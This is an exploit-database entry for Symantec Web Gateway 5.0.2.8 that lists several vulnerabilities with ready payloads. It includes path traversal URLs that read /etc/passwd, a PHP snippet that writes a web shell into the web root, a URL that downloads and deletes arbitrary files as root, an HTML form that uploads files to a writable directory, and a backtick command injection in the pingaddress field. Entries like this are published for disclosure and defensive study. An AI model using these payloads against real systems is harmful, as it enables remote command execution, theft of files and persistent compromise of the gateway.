Exploit symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities

[Exploiter]

EDB-ID

19406

Проверка EDB

1. Пройдено

Автор

S2 CREW

Тип уязвимости

WEBAPPS

Платформа

LINUX

CVE

cve-2012-0298 cve-2012-0297

Дата публикации

2012-06-27

symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities

Software: Symantec Web Gateway
Current Software Version: 5.0.2.8
Product homepage: www.symantec.com
Author: S2 Crew [Hungary]
CVE: CVE-2012-0297, CVE-2012-0298, ???

File include:
        https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd

File include and OS command execution:
        http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd
        You can execute OS commands just include the error_log:
        /usr/local/apache2/logs/
        -rw-r--r--   1 root   root  5925 Nov 15 07:25 access_log
        -rw-r--r--   1 root   root  3460 Nov 15 07:21 error_log

        Make a connection to port 80:
        <?php
        $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
        $cmd = "<?php system(\$_GET['cmd']); ?>";
        fputs($f,$cmd);
        fclose($f);
		print "Shell creation done<br>";
        ?>

Arbitary file download and delete:
        https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
	d parameter: the complete filename 
        After the download process application removes the original file with root access! :)

        Command execution methods:
        1.Method
        Download and delete the /var/www/html/ciu/.htaccess file.
        After it you can access the ciu interface on web.
        There is an upload script: /ciu/uploadFile.php
	User can control the filename and the upload location:
        $_FILES['uploadFile'];
        $_POST['uploadLocation'];

        2.Method
        <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
        <input type="file" name="uploadFile">
        <input type="text" name="action" value="upload">
        <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
        <input type="hidden" name="configuration" value="test">
        <input type="submit" value="upload!">
        </form>
	
	The "/var/www/html/spywall/cleaner" is writeable by www-data.

Command execution after authentication:

        http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)

        From the modified POST message:
        Content-Disposition: form-data; name="pingaddress"
        127.0.0.1`whoami>/tmp/1234.txt`